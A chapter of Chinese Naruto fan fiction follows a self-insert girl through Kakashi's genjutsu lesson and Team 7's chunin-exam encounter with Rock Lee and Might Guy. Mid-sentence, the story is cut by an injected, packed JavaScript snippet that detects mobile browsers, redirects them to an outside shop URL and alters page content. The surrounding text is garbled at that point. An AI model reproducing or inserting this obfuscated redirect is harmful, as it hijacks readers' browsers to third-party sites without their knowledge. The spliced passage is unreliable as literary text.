我猛地一震,回想起幻境中那股冰冷粘稠、充满扭曲恶意的查克拉……那不是错觉!是卡卡西老师模拟出来的!他模拟了一个“敌人”的恶意攻击!目的……就是为了制造最真实的绝境,逼出我最真实的反应! “您……您怎么可以……” 巨大的委屈和后怕瞬间涌上心头,眼泪再次不受控制地涌出, “……鸣人……我差点……差点就……” 幻境中那撕心裂肺的痛苦和绝望再次袭来,让我语无伦次。 “我知道。” 卡卡西老师的语气低沉下来,带着一种沉重的理解。 “我知道那种感觉。看着最重要的人在眼前……那种无能为力的痛苦,足以让人发疯。” 他的目光似乎透过我,看向了某个遥远而悲伤的过去。 他顿了顿,那只露出的眼睛重新聚焦在我脸上,变得无比认真,他的话语如同冰冷的匕首,剖开现实的残酷。 “今天的‘意外’,就是想告诉你,也让你自己亲身体验到:真正的战场,没有演习。敌人不会给你准备的时间。当剧痛和恐惧降临,当理智的弦即将崩断时……” 他深深地看着我 “你还能不能抓住最后一丝清醒?还能不能想起,什么是你必须守护的?什么是你必须战胜的?” 我怔怔地看着他,泪水无声滑落,但混乱的心绪却在卡卡西老师的话语中,在残留的『权杖一』牌那炽烈的怒火中,渐渐沉淀下来。 幻境中那灭顶的痛苦是真的,绝望是真的。但最后关头,是『权杖一』牌带来的愤怒,是对“敌人”的憎恨,更是对鸣人(以及那模糊的黑发少年)那份无论如何也要守护的执念,让我在崩溃的边缘抓住了那根名为“真实”的稻草。 “我……” 我用力擦掉眼泪,声音依旧沙哑,却带上了一种浴火重生般的坚定 “我看到了……一个不认识的人……很痛……鸣人……很怕……” 提到名字时,心脏依旧抽搐。 “但是……敌人想用这个击垮我,想让我崩溃犯错……我绝不允许!” 我抬起头,迎上卡卡西老师的目光,眼神灼灼,仿佛被泪水洗过,更加明亮。 “下次……无论面对什么样的幻境,什么样的痛苦……我都不会再让它轻易夺走我的判断!我会愤怒!我会痛苦!但我更要清醒!我会用这双眼睛看清敌人的伎俩,用这份痛苦化作撕碎幻象的力量!因为我知道……” 我握紧了拳头,指甲嵌入掌心的伤口带来刺痛,却让我更加清醒 “只有保持清醒,我才能守护他们!才能真正……战斗下去!” 卡卡西老师静静地看着我,看了很久。夕阳的余晖在他银色的发丝上跳跃。最终,他伸出手,不是揉头发,而是轻轻拍了拍我还在微微颤抖的肩膀。 “记住你今天的话。” 他站起身,声音恢复了惯常的懒散,却带着一种尘埃落定般的轻松。说完,他的身影如同融入夕阳般,几个闪烁,便消失在了小巷的尽头。 我独自一人站在废弃的木桶旁,暮色四合。晚风吹过,带着凉意,吹干了脸上的泪痕,也吹散了那幻境残留的冰冷。身体的颤抖渐渐平息,掌心的伤口传来阵阵刺痛。 黑发少年……那锥心的痛楚依旧盘桓在记忆的迷雾中,像一个未解的谜。鸣人……他此刻大概还在训练场挥汗如雨吧? 我低头,看着自己沾着血污和泥土的手掌,然后慢慢握紧。那份决心,如同『权杖一』牌那撕裂虚妄的力量,深深烙印在心底。 这不是演习。前方的路布满荆棘与未知的恶意。但为了守护那点亮的羁绊,为了改写可能的悲剧,我必须,也必将,在风暴与幻象中……保持清醒,挥出手中的『权杖』。这,就是我选择的战场。 …… 考试当天的清晨,空气里弥漫着一种不同寻常的紧张和兴奋。忍者学校门口比往日热闹了数倍,聚集着来自各村、形形色色的下忍。 鸣人难得起了个大早,早早地就等在了学校门口,像只充满期待的小狗,不停地东张西望,兴奋之情溢于言表。佐助这次却意外地比鸣人晚到了一小会儿。鸣人立刻像是抓住了什么天大的把柄,双手叉腰,得意洋洋地大声嘲笑道 “哈哈哈!佐助!你也有迟到的一天啊!是不是也迷路了?” 佐助只是冷冷地瞥了他一眼,懒得理会这种幼稚的挑衅。 小樱是最后一个到的。她看起来有些疲惫,眼下带着淡淡的青影,显然昨晚没有休息好。当她看到佐助时,眼神瞬间变得复杂,爱慕、紧张、还有一丝因前几天对话而残留的黯然,种种情绪交织在一起,但很快就被她强压下去,恢复了表面的平静。 “早上好,旁听生。” 她走到我身边,声音带着点沙哑。 “早上好,小樱。” 我回应道,仔细地观察着她的脸色 “昨晚没睡好?” “……早上好,佐助君。” 她转向佐助,声音不自觉地放轻了些。 “嗯。” 佐助依旧是那副冷淡的模样,只是简单地应了一声。 此刻,第七班小队全员到齐。我们四人相视一眼,无需多言,默契地并肩而行,朝着教学楼走去。通往考场的走廊里早已人满为患,来自不同忍村的考生们摩肩接踵,空气中充斥着各种口音的低语、试探的目光和隐隐的敌意。 还没走到楼梯口,就听见前方传来一阵骚动和争执声。挤开人群望去,只见走廊中间,两个穿着绿色马甲、气质嚣张的木叶中忍,(其实我也不知道是不是中忍,但如此嚣张的气焰,应该是吧,反正也是老师假冒的?)正拦在天天、李洛克和日向宁次面前。其中一个中忍正指着跌坐在地、一脸愤懑的李洛克呵斥着什么。天天捂着脸颊,眼圈泛红,显然刚刚挨了一巴掌。宁次站在一旁,面无表情,但那双纯白的眼眸中寒光凛冽,紧握的拳头暴露了他内心的怒火。 “尽管如此,我们还是要过去。” 宁次的声音冰冷而坚定。 “哼!就凭你们?” 那个打了天天的中忍不屑地嗤笑一声,双手快速结印 “先通过我们的考验再说吧!一群不知天高地厚的下忍!” 他的语气充满轻蔑。 就在这时,佐助清冷的声音清晰地穿透了嘈杂 “这个用拙劣幻术制造的结界,还是赶紧解除掉吧。” 他双手插兜,从容地从我们身边走出,站到了音忍二人组面前,嘴角勾起一丝洞察一切的嘲讽弧度 “我们要上的是三楼。” 那两人显然没料到会被一个下忍一眼看穿,脸上嚣张的表情瞬间僵住,露出惊愕之色 “什……什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575537|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!你这小鬼……” 佐助轻笑着,并未直接回答,反而微微侧头,目光投向身后的小樱,带着一丝考校和鼓励的意味 “对吧,小樱?你也早就注意到了吧?” 小樱被我紧紧牵着手,感受到我的支持和佐助突然投来的目光,她先是愣了一下,随即,一股力量仿佛注入她的身体。我感觉到她原本有些冰凉的手心微微回暖,用力回握了我一下。她深吸一口气,挺直背脊,眼神变得锐利而自信,声音清晰地响起 “当然!因为这里根本就不是三楼!幻术制造的结界扭曲了空间感,但墙壁上挂着的楼层指示牌清楚地写着——这里是二楼!” 看着小樱重新振作起来、自信发言的模样,一股暖流涌上我的心头。我欣慰地笑了,更加用力地捏了捏她的手心,调皮地冲她吐了吐舌头,用口型无声地说 “这才是我认识的、最棒的小樱!” “谢谢你……旁听生,” 小樱的声音很轻,几乎淹没在周围的议论声中,但那份真挚的感激却清晰地传递给了我。她的目光又飞快地掠过佐助,带着一丝羞涩和更深沉的谢意 “……还有,佐助君。” 看来我之前的开导和佐助这无意识(或是有意?)的肯定,确实给了她莫大的勇气。 被两个下忍当众拆穿把戏,二人组恼羞成怒!那个打了天天的家伙脸上肌肉抽搐,眼中凶光一闪,他猛地抬腿,带着凌厉的风声,狠狠一脚踹向佐助的胸口!速度极快,显然动了真格! 佐助眼神一凛,反应迅捷无比,身体后仰的同时,右手闪电般探出,精准地格向对方的脚踝! 就在这电光火石之间,一道绿色的身影如同旋风般切入! “砰!” 一声闷响!李洛克双臂拦在两条腿的中间,后发先至,带着沛然之力,精准地,拦下来了 “喂!” 李洛克挡在佐助和我们身前,宁次眉头紧锁,语气带着责备 “不是说好了要低调行事,不要引人注意的吗?” “抱歉” 李洛克对着宁次道歉,但目光却飞快地扫过我们这边,尤其是在看到小樱时,他黝黑的脸上竟然泛起了一丝不易察觉的红晕。 李洛克却不再理会宁次,他转过身,目光灼灼地看向我和小樱,脚步坚定地朝我们走来。他无视了旁边脸色冰冷的宁次,径直走到小樱面前,站得笔直,然后猛地一个九十度鞠躬,声音洪亮得几乎能震落灰尘: “我叫李洛克!初次见面!请问,你愿意和我交往吗?!我会用我的生命来保护你的!至死方休!” “噗——!” 我实在没忍住,瞬间破功,捂着嘴笑弯了腰。这直球!这气势!这青春无敌的告白方式!太李洛克了! 小樱被这突如其来的告白弄得目瞪口呆,随即整张脸“唰”地红透了,像熟透的番茄。她看到我在一旁笑得肩膀直抖,又羞又恼,抬手就在我背上不轻不重地捶了两下 “旁听生!不许笑!” 这场景,活脱脱就是另一个世界里,女孩子被当众表白后,旁边闺蜜憋笑憋到内伤的经典画面。 “哦!对了!” 李洛克仿佛才注意到我,浓眉大眼的脸上立刻绽放出同样热情(甚至更甚?)的笑容,又是一个标准的鞠躬 “你就是一年前以旁听生身份进入忍者学校的同学吧!幸会!久仰大名!我对你也是非常喜欢的!请放心!无论是小樱小姐,还是你,我都会用生命去守护!至死方休!” “啊?” 这突如其来的“表白”把我整懵了,脸上的笑容僵住,只能尴尬地摆摆手,“谢、谢谢你的喜欢……呃,和保护?” 这都什么跟什么啊! “果然和传闻中一样温柔善良!” 李洛克仿佛受到了莫大的鼓舞,拳头紧握,眼神炽热如火 “我李洛克发誓!一定会誓死保护好你们两位的!” 这下轮到小樱憋不住笑了,她用手肘轻轻捅了捅我的腰,眼神促狭,仿佛在说“看吧,让你刚才笑我”。我没好气地反手去戳她腰间的痒痒肉 “喂!别闹!” “喂喂喂!” 鸣人像只被踩了尾巴的炸毛猫,猛地从我俩中间钻了出来,气急败坏地指着李洛克 “绝对不行!哪有同时喜欢两个人的道理!你这个粗眉毛西瓜头!” 他甚至都没注意到旁边日向宁次正用审视的目光打量着佐助,询问他的名字(“你就是宇智波佐助?”),只顾着在我和小樱面前跳脚,试图把李洛克隔开。 我被鸣人这过分“护食”的样子弄得有点烦了,伸出手,用掌心直接按在他那张吵吵嚷嚷的脸上,稍微用力把他往后推 “好了鸣人!别闹了!考试快开始了!” 鸣人不情不愿地被我推开,撇着嘴,像只被主人嫌弃的大型犬,委屈巴巴地站到一边,但那双蓝眼睛依旧死死盯着李洛克,充满了警惕和不爽。 李洛克似乎还想再说点什么“青春宣言”,但我赶紧拉着小樱,另一只手顺势拖住还在哼哼唧唧的鸣人,快步走到佐助身边 “走了走了!再不去三楼真要迟到了!” 佐助微微颔首,我们四人迅速摆脱了这略显混乱的场面,挤开人群,向楼梯走去。 楼梯上,佐助的嘴角似乎勾起了一抹极淡的、带着点玩味的笑意,大概是在看鸣人的笑话。鸣人则像块甩不掉的牛皮糖,紧紧抓住我的手臂,几乎半个身子都挂在我身上,还时不时警惕地回头张望,看那个“粗眉毛”有没有跟上来。 “喂,鸣人,松手啦,很重诶!” 我无奈地试图甩开他。这家伙,好像从中忍考试报名后几天开始,就变得格外粘人?感觉背后挂了个大型的、会吵闹的金毛挂件…… 就在我们走到二楼通往三楼的楼梯拐角,一处稍微宽敞的平台上时,那个充满活力的声音如同跗骨之蛆般再次从我们身后响起: “请稍等一下!那位眼神很凶恶的同学!” 我们四人同时停下脚步,回头望去。只见李洛克站在下方楼梯的扶手上,身姿挺拔,目光灼灼地锁定佐助,充满了昂扬的战意! “我想和你比试一场!” 他大声宣战,声音在楼梯间回荡, “我想知道,以我的招式,能在你这木叶第一新人面前,走过几招!” 浓烈的斗志几乎化为实质,在他周身燃烧。 紧接着,他的视线又如同探照灯般,精准地转向我和小樱,脸上的战意瞬间切换成灿烂到晃眼的笑容,洁白的牙齿闪闪发光,右手在胸前比出一个大大的爱心: “Love——!!” “呀啊啊啊——!不要啊——!!” 小樱瞬间爆发出足以震碎玻璃的尖锐爆鸣,捂着脸躲到了我身后。 相比之下,我只是嘴角抽搐了几下,额头上挂下几道黑线,干笑着朝他摆摆手 “呃……谢、谢谢你啊……” 这热情,真是让人招架不住。 “你们两位……简直是天使——!!” 李洛克完全沉浸在自己的“青春”里,无视了小樱的尖叫和我的尴尬,竟然深情款款地对着我们,抛出了一个裹挟着实质化粉红色爱心的飞吻! “咿呀——!住手!快住手啊!旁听生救命!” 小樱躲在我身后,吓得花容失色,紧紧抓住我的衣服。 连我都忍不住打了个寒颤,这视觉冲击力也太强了! “喂喂!你这粗眉毛变态!在对我的大姐……小樱干什么呢!” 鸣人再也忍不住了,像护崽的母鸡一样猛地从我身边窜出,横挡在我和小樱面前,对着那个飞来的“爱心”就是一拳挥去! “啪!” 一声脆响,那虚幻的粉色爱心如同肥皂泡般被鸣人一拳击碎,消散在空气中。 李洛克愣了一下,随即露出恍然大悟的表情,笑容更加灿烂(也更让人头皮发麻) “哦!原来旁听生同学是你的姐姐吗?这我倒不知道!不用担心!” 他对着鸣人竖起大拇指,牙齿仿佛在闪光 “漩涡鸣人!我李洛克对你也郑重宣布:我会连同你一起,誓死保护的!这就是青春的羁绊啊!” “你在胡说八道些什么啊!” 鸣人简直要气疯了,额头青筋直跳。什么姐姐弟弟!什么一起保护!这个粗眉毛的家伙脑子绝对有问题!他撸起袖子就想冲上去和李洛克打一架 “少瞧不起人了!谁要你保护啊!” “鸣人!冷静点!” 我眼疾手快地一把拽住他的后衣领,把他拖了回来,脑门上挂满黑线。这家伙……难道是因为我是小樱的“闺蜜”,所以想“买一送一”连我也一起纳入保护范围?李洛克你这脑回路……这就是所谓的“热血青春”吗?真是让人无力吐槽…… 不过李洛克的注意力显然更多地集中在佐助身上。他重新看向佐助,眼神中的战意熊熊燃烧 “那么,宇智波佐助!请接受我的挑战吧!让我见识一下宇智波一族天才的实力!” 鸣人被我拽着,还在不甘心地挣扎,像只被拴住的愤怒小狗,气鼓鼓地抱着手臂,瞪着李洛克,怎么看怎么不顺眼。 小樱看了看时间,脸上露出焦急的神色 “旁听生,佐助君,距离三点报名截止只剩下不到三十分钟了!这……” 佐助却缓缓上前一步,挡在了我们前面。他微微活动了一下手腕,漆黑的双眸锐利如刀,牢牢锁定李洛克,声音平静却带着强大的自信 “对付他,五分钟,足够了。” 话音落下的瞬间,战斗打响! 面对号称“木叶最强下忍”的李洛克,即使是身为天才的佐助,甫一交手也感到了巨大的压力! 佐助率先发动攻击!他的动作快如疾风,瞬间拉近距离,一记凌厉的直拳带着破空声直捣李洛克面门!然而,李洛克的速度更快!就在佐助的拳头即将触及他皮肤的刹那,他脚下的查克拉猛然爆发! 唰!一道绿色的残影闪过!李洛克竟以肉眼难以捕捉的速度,如同瞬移般闪身到了佐助的侧面! “木叶旋风!” 低沉有力的喝声响起!李洛克那灌注了强大力量的右腿,如同钢鞭般带着恐怖的呼啸声,横扫佐助的腰腹! 佐助瞳孔猛地一缩!写轮眼瞬间开启,猩红在眼中急速旋转!凭借着写轮眼强大的动态视力,他“看”到了李洛克的攻击轨迹!千钧一发之际,他猛地拧身、后仰,身体几乎弯折成一个不可思议的角度! 呼!李洛克的腿风擦着佐助的鼻尖扫过!凌厉的劲风刮得佐助脸颊生疼! 一击落空,李洛克借势跃起,身体在空中灵活地翻转,紧接着,又是一记势大力沉的劈腿,如同战斧般从天而降,狠狠砸向佐助的头顶! 佐助刚刚稳住身形,旧力已尽,新力未生!面对这快如闪电、衔接完美的第二击,他只能狼狈地向侧后方翻滚躲避! 轰!李洛克的脚跟重重砸在佐助刚才站立的地面上,坚硬的石板瞬间碎裂,蛛网般的裂纹蔓延开来! 佐助迅速起身,眼中写轮眼的光芒大盛!猩红的勾玉疯狂旋转,试图捕捉李洛克的每一个动作细节!他再次低喝一声,身体如离弦之箭般射出,拳脚并用,瞬间打出数道残影,攻势如同狂风暴雨! 然而,李洛克仿佛化身为一台精密而高效的战斗机器!他的体术没有任何花哨,就是纯粹的速度与力量的完美结合!面对佐助密集的攻势,他或闪、或挡、或卸,动作简洁高效到了极致!每一次格挡都发出沉闷的□□碰撞声! “太慢了!” 李洛克的声音带着一丝遗憾。他看准佐助攻击中一个微小的破绽,身体如同游鱼般滑入佐助的内圈,一个迅猛的低位扫踢! 佐助的写轮眼清晰地捕捉到了这一击!大脑疯狂预警!但他的身体却跟不上眼睛传递的信息!神经反应速度与肌肉爆发力,在绝对的速度面前,出现了致命的断层! 砰!一声闷响!佐助的小腿被结结实实地扫中!巨大的力量让他瞬间失去平衡,整个人不受控制地向后倒飞出去! “还没完!” 李洛克眼神一厉,攻势连绵不绝!他如同附骨之疽,紧跟着倒飞的佐助!双腿化作一片模糊的残影,高速的连续踢击如同暴风骤雨般倾泻在佐助仓促格挡的双臂和身体上! 砰砰砰砰砰——! 密集的撞击声如同擂鼓!佐助被打得节节败退,双臂剧痛发麻,每一次格挡都感觉像是被铁锤砸中!他引以为傲的写轮眼能清晰地“看”到李洛克的每一次攻击轨迹,但身体却像陷入了粘稠的泥沼,无论如何也跟不上对方的速度!那种看得见却躲不开、挡不住的无力感,如同冰冷的潮水,瞬间淹没了佐助! “看清楚了吗?我的攻击既非忍术,也非幻术!” 李洛克的声音在高速移动中依旧清晰,带着强大的自信 “这是千锤百炼、超越极限的纯粹体术!是汗水与青春浇灌出的绝对速度!” 就在他讲解的这短短几秒内,佐助又硬生生承受了数记重击!最后,李洛克抓住佐助格挡时露出的一个巨大空档,一记势大力沉的回旋踢,如同炮弹般狠狠踹在佐助的胸口! “咳!” 佐助闷哼一声,身体如同断线的风筝般被狠狠踹飞,在空中划出一道高高的、无力的抛物线!鲜血从他嘴角溢出! “结束了!” 李洛克眼中精光爆射!他双膝微曲,查克拉在腿部瞬间压缩到极致!身体化作一道肉眼几乎无法捕捉的绿色流光,以超越之前任何一次的速度,瞬间出现在佐助倒飞轨迹的正后方! 他右臂后引,五指并拢如刀,全身的力量和查克拉都凝聚在这一击之上!正是他的杀手锏—— 一股致命的危机感瞬间攫住了佐助!他瞳孔骤缩,写轮眼疯狂转动,却只能眼睁睁看着那道绿色的死亡之光在眼前急速放大! 就在这千钧一发、佐助即将被这招禁术重创的瞬间! “住手!李——!” 一道威严而焦急的声音如同惊雷般炸响! 砰!一块红色的、巨大的……乌龟壳?!如同陨石般从天而降,精准无比地砸在了李洛克即将发动致命一击的落脚点上!巨大的冲击力震得地面一颤,烟尘弥漫! 这突如其来的变故硬生生打断了李洛克的必杀技!他强行收力,踉跄着落地,惊愕地看着挡在眼前的红色龟壳。 “凯老师?!” 李洛克失声叫道。 一道绿色的身影如同瞬移般出现在红色巨龟的龟壳之上!那标志性的西瓜头,浓密得如同毛毛虫般的粗眉毛,还有那身同样耀眼的绿色紧身衣……来人正是木叶的苍蓝野兽——迈特凯! “哇!真的出现了!” 我忍不住低呼出声,亲眼见证这一幕的冲击力,远比看漫画要震撼得多!这就是……传说中的“青春”吗?! 鸣人指着龟壳上的凯,嘴巴张得能塞进一个鸡蛋,发出了灵魂吐槽 “不是吧?!比李更夸张的西瓜头……还有更粗的眉毛?!” 一瞬间,我们所有人(包括我、小樱、佐助,鸣人)都被凯老师这极具视觉冲击力的造型惊得集体石化,嘴巴不自觉地张大,眼睛瞪得溜圆。这画面太“美”,简直让人不忍直视! “不许你们取笑凯老师!” 李洛克如同被踩了逆鳞的猛兽,瞬间暴怒,额角青筋暴起,对着我们这边怒吼!在他心中,凯老师就是青春与热血的化身,是绝对不容亵渎的偶像! 鸣人也被李洛克这护犊子的态度激起了火气,连日来积攒的郁闷和此刻的惊吓仿佛找到了宣泄口,毫不示弱地回怼过去 “喂!明明是你自己很奇怪好不好!一上来就说什么喜欢啊交往啊,又要打架比试的!完全搞不懂你在想什么啊!粗眉毛西瓜头!” 眼看两小只就要从体术对决升级为嘴炮大战(甚至可能再次动手),龟壳上的凯老师及时出声制止,声音洪亮而带着奇特的感染力 “李!青春不是用来吵架的!” 令人意外的是,凯老师似乎对我们这边无礼的言谈并不在意,反而显得很……豁达?李洛克对老师的话言听计从,立刻收敛了怒气,恭敬地低头 “是!凯老师!” 不再与我们争论。 然而,就在李洛克刚刚放松警惕,转身面向凯老师的瞬间—— “砰!!!” 一声沉闷到令人牙酸的巨响!凯老师的拳头如同瞬移般出现在李洛克的脸侧,带着恐怖的力量,结结实实地砸在了他毫无防备的脸上! 李洛克连哼都没哼一声,整个人如同被高速行驶的列车撞中,直挺挺地飞了出去,重重地摔在几米开外,脸朝下趴在地上,一动不动了! “嘶——!” 所有人都倒抽一口冷气!包括我在内!这……这发展也太残暴了吧?!说好的师徒情深呢?!这剧本不对啊! 凯老师的身影瞬间出现在趴着的李洛克身边。他蹲下身,一只手轻轻搭在李洛克的背上。就在我以为他要查看伤势时,凯老师抬起头,眼神……竟然带着一种难以言喻的、近乎含情脉脉的……深情?!那眼神,充满了理解、痛惜、鼓励……复杂得让人头皮发麻!就像是某种古早的、充满狗血救赎情节的舞台剧现场! 我只觉得一股强烈的肉麻感从脚底板直冲天灵盖,全身的鸡皮疙瘩争先恐后地冒了出来!不适!非常不适!救命!这和看原著时的感受完全不同!现场版的冲击力简直MAX! “李哟……” 凯老师的声音低沉而富有磁性,带着一种奇异的韵律 “这就是……青春啊!是伴随着疼痛与挫折,才能绽放出最耀眼之花的……青春啊!” “老……老师!” 趴在地上的李洛克身体猛地一颤,竟然挣扎着抬起头!他的左眼已经肿得老高,嘴角还挂着血丝,但那双眼睛里,竟然也闪烁着和凯老师一模一样的、充满感动的泪光?! “李!” “老师!” 在所有人目瞪口呆的注视下,这对“西瓜头”师徒,竟然在弥漫的尘土中,激动地、旁若无人地紧紧相拥在一起!泪水如同开闸的洪水,汹涌而下!那画面……太美,太震撼,太……让人无语凝噎! “这就是青春啊——!” 两人异口同声地仰天高呼,声音在空旷的楼梯间回荡。 我看着眼前这极具冲击力、充满了哲学(?)与狗血(!)的一幕,眼神彻底放空,大脑一片空白。剧情……完全朝着诡异的方向狂奔而去了吗?!等等!原著里好像……好像就是这么写的?!不对!当年看动漫时只觉得热血搞笑,怎么现场版会尬到让人脚趾抠出三室一厅?!救命!这“青春”的浓度太高,我承受不来! “来!让我们用奔跑来洗刷这份冲动!朝着夕阳的方向!” 凯老师猛地站起身,手指向窗外(虽然外面是大白天),气势如虹 “绕着训练场!奔跑一百圈!” “是!老师!” 李洛克也瞬间满血复活,一个鲤鱼打挺跳起来,眼中燃烧着比刚才更炽烈的火焰!两人脸上同时绽放出可以闪瞎人眼的、充满“青春”气息的灿烂笑容! 不知为何,看着他们这极具信念感(或者说中二感?)的互动,刚才那股强烈的尴尬感突然转化成了难以抑制的笑意。这画面实在太具戏剧性,太荒诞,也太……纯粹了!我拼命咬着下唇,肩膀不受控制地抖动起来,最终还是没忍住,“噗嗤”一声笑了出来。 鸣人看到我嘴角咧开的笑容,立刻像发现了新大陆,凑过来勾了勾我的衣角,压低声音,带着十二万分的震惊和难以置信 “喂!大姐!你……你该不会真的喜欢上那个……那个西瓜头粗眉毛的家伙了吧?!” 他的表情仿佛看到了世界末日。 “哈?什么?!” 旁边的小樱耳朵尖得很,听到鸣人的话,瞬间炸毛,抬手就给了鸣人脑袋一记爆栗 “鸣人!你瞎说什么呢!” 然而,她教训完鸣人,看向我的眼神也变得极其古怪,充满了探究、惊讶,还有一丝……“我懂的”?喂喂喂!小樱你那是什么眼神啊! “别那么看我啊我说!” 我简直要抓狂了,指着还在摆着“青春POSE”的凯李师徒,努力解释 “你们……你们难道不觉得眼前这一幕……真的……真的很好笑吗?!这种‘热血笨蛋’的极致演绎?!” 回应我的,只有鸣人和小樱整齐划一的、充满困惑的摇头。 “喂!!!” 我气结。 “怎么可能啊!” 两人异口同声地反驳,仿佛我在说什么天方夜谭。 眼看着凯老师和李洛克这对“青春组合”就要带着燃烧的斗志奔向夕阳(下的训练场),我猛地一个激灵!差点忘了最关键的事!原著里鸣人和小樱可是喊了句“那中忍考试怎么办”才让凯老师想起来的!虽然剧情细节不重要,但如果因为这个乌龙错过了报名时间,那可就真是弄巧成拙,修改了完全不该修改的地方了! “那个……凯老师!” 我深吸一口气,硬着头皮,弱弱地、带着点颤抖地举起了手,脸上努力挤出一个欲哭无泪的表情(毕竟我前一秒还在否认对他们有好感,下一秒就关心李的考试,这怎么看怎么像……救命!这下彻底解释不清了!) “请……请等一下!那个……一会儿……一会儿还有中忍考试要参加……惩罚什么的……要不……等考完试之后……再说?” 我的声音越说越小,几乎淹没在嘈杂里。 但凯老师那敏锐的听觉显然捕捉到了。他奔跑的动作猛地刹住,一拍脑门(发出响亮的“啪”一声),恍然大悟 “哦!对对对!差点忘了!还有中忍考试这么重要的青春盛事!” 他转向李洛克,大手一挥 “李!惩罚就放到你光荣地通过中忍考试之后吧!” “是!老师!” 李洛克立刻挺胸抬头,大声回应,眼中充满了感激(?)和斗志。 “哟西——!” 凯老师再次元气满满,指向远方(训练场方向), “那么等你通过了考试,燃烧青春!目标——训练场!奔跑五百圈!GO——!” 看着“剧情”终于被强行掰回“正轨”,我长长地、心有余悸地舒了一口气,感觉后背都出了一层薄汗。然而,当我转过头,准备和小樱吐槽一下这惊心动魄的几分钟时,迎接我的却是小樱那充满了然、促狭和“果然如此”的眼神!那眼神分明在说:看吧,解释就是掩饰!你果然还是关心李的吧?! 我顿时气不打一处来!什么跟什么啊!我那是为了考试!为了剧情!为了大家啊!我恶向胆边生,闪电般伸出手,精准地捏住了小樱腰间最怕痒的那块软肉! “呀——!旁听生!你偷袭!” 小樱瞬间破功,像只受惊的兔子般跳开,一边笑一边躲闪。 “让你瞎想!” 我“狞笑”着追上去。 两个女孩瞬间闹成一团,刚才的紧张气氛一扫而空。 就在这时,凯老师却如同鬼魅般,悄无声息地再次出现在我们身边!他那张极具特色的脸突然凑近,吓得我和小樱同时尖叫一声,抱在了一起。 凯老师没有理会我们的惊吓,他那双炯炯有神的大眼睛在我们身上扫过,最后落在佐助身上,带着一丝怀念和关切:“那个……卡卡西他……最近还好吗?” 佐助微微一怔,没想到这位看起来极其不靠谱的老师会突然问起卡卡西,他反问道:“……认识卡卡西老师?” 凯老师摸了摸他那光滑的下巴(明明没有胡子),脸上露出了一个高深莫测(又有点傻气?)的笑容 “别人都称我们为——‘永恒的对手’。” 除了我这个“知情者”,鸣人、小樱、佐助三人都露出了完全不信的、极其微妙的表情,眼神里充满了“您老在开玩笑吧”的质疑。 凯老师似乎被我们这毫不掩饰的怀疑眼神刺激到了。 “顺便一提……” 他不知何时已站在我们四人身后,双手抱胸,姿势挺拔 “我们的战绩是……五十胜,四十九败。” 他顿了顿,微微侧过脸,露出一个闪亮的侧颜和洁白的牙齿,语气斩钉截铁,充满了不容置疑的自信 “事先说明——我比卡卡西强!” “?!” 佐助的瞳孔骤然收缩! “哇啊!” 鸣人和小樱惊呼出声! 我们四人,包括一直冷静的佐助,都被这神出鬼没的速度惊得浑身僵硬!尤其是佐助,他猛地转身,死死盯着凯老师,眼神剧烈地闪烁着,充满了震惊、不甘,以及……深深的挫败感!刚才败给李洛克,现在又被李洛克的老师以如此绝对的速度碾压!巨大的实力差距如同一座冰山,沉甸甸地压在他的心头。他紧抿着嘴唇,眉头拧成了死结,显然陷入了深沉的自我怀疑和变强的渴望之中。 凯老师似乎很满意(或者说完全不在意?)我们的反应,自顾自地说完了一长串话:原谅李的鲁莽,勉励我们好好考试,期待我们在考试中绽放青春的光彩……然后,他化作一道绿色的旋风,消失在了楼梯口。 只不过,在消失前的最后一瞬,我似乎感觉到他的目光若有若无地在我身上停留了极其短暂的一刹那。那眼神……带着一丝探究?还是别的什么?好奇怪……也许只是我的错觉吧?毕竟刚才的场面实在太混乱了。 李洛克也远远地对着我们这边,再次比出他那标志性的拇指和闪亮笑容,留下了一句听起来像是鼓励,又带着点“下次再战”意味的话 “那么,中忍考试,期待与你们再次相遇!燃烧吧!青春——!” 然后追随着凯老师的脚步跑远了。 终于恢复了平静,只剩下我们四人。佐助依旧沉默地站在原地,紧握的拳头指节发白。刚才与李洛克战斗的失利,凯老师那如同高山仰止般的强大实力,如同冰冷的潮水反复冲刷着他的骄傲。他紧锁的眉头和晦暗不明的眼神,清晰地昭示着他此刻内心的风暴。 “好了,” 我深吸一口气,打破了沉默。走到佐助身边,伸出手臂,大大咧咧地勾住了他的脖子,又用另一只手臂勾住了旁边小樱的脖子,试图用这种亲昵(或者说搞怪)的方式驱散沉重的气氛 “中忍考试……真是越来越‘有意思’了呢……” 我故意拖长了语调 “不过嘛,各位,如果我们再不走……” 我指了指墙上指向2:40的挂钟 “可就真的要错过报名,集体出局了哦!” “切……” 佐助有些不自在地扭了扭脖子,从我手臂的“钳制”下挣脱出来,但对我话中的紧迫感表示了默认。他整理了一下被弄乱的衣领,率先迈步向三楼走去。 我依旧勾着小樱的脖子,看着佐助那副别扭又故作冷漠的背影,忍不住对小樱做了个搞怪的鬼脸,眼神仿佛在说 “瞧,你喜欢的男孩,也就这副死傲娇的样子嘛!” 小樱被我的表情逗得脸一红,也轻轻挣脱了我的手臂,嗔怪地瞪了我一眼,快步跟上了佐助的脚步。 “喂!大姐!” 鸣人的声音在身后响起,带着浓浓的困惑和纠结,他几步追上来,和我并肩走着,眼神在我脸上瞟来瞟去,最终还是忍不住小声问 “你刚才……真的不是在担心那个粗眉毛吗?你真的……不喜欢他吧?” 我停下脚步,转过身,双手叉腰,无奈地看着眼前这个突然变得异常“关心”我感情生活的笨蛋,语气斩钉截铁 “我真的、真的、真的不喜欢洛克李啊!鸣人!你最近到底怎么了?感觉你怪怪的?” 我伸出手,习惯性地想去揉他的头发,却被他下意识地微微偏头躲开了一点。我一愣,随即自然地改为抓住他的手腕,拉着他往前走 “别胡思乱想了!快走!再磨蹭,我们四个就真要因为迟到被取消资格了!那才叫丢脸丢到姥姥家!” 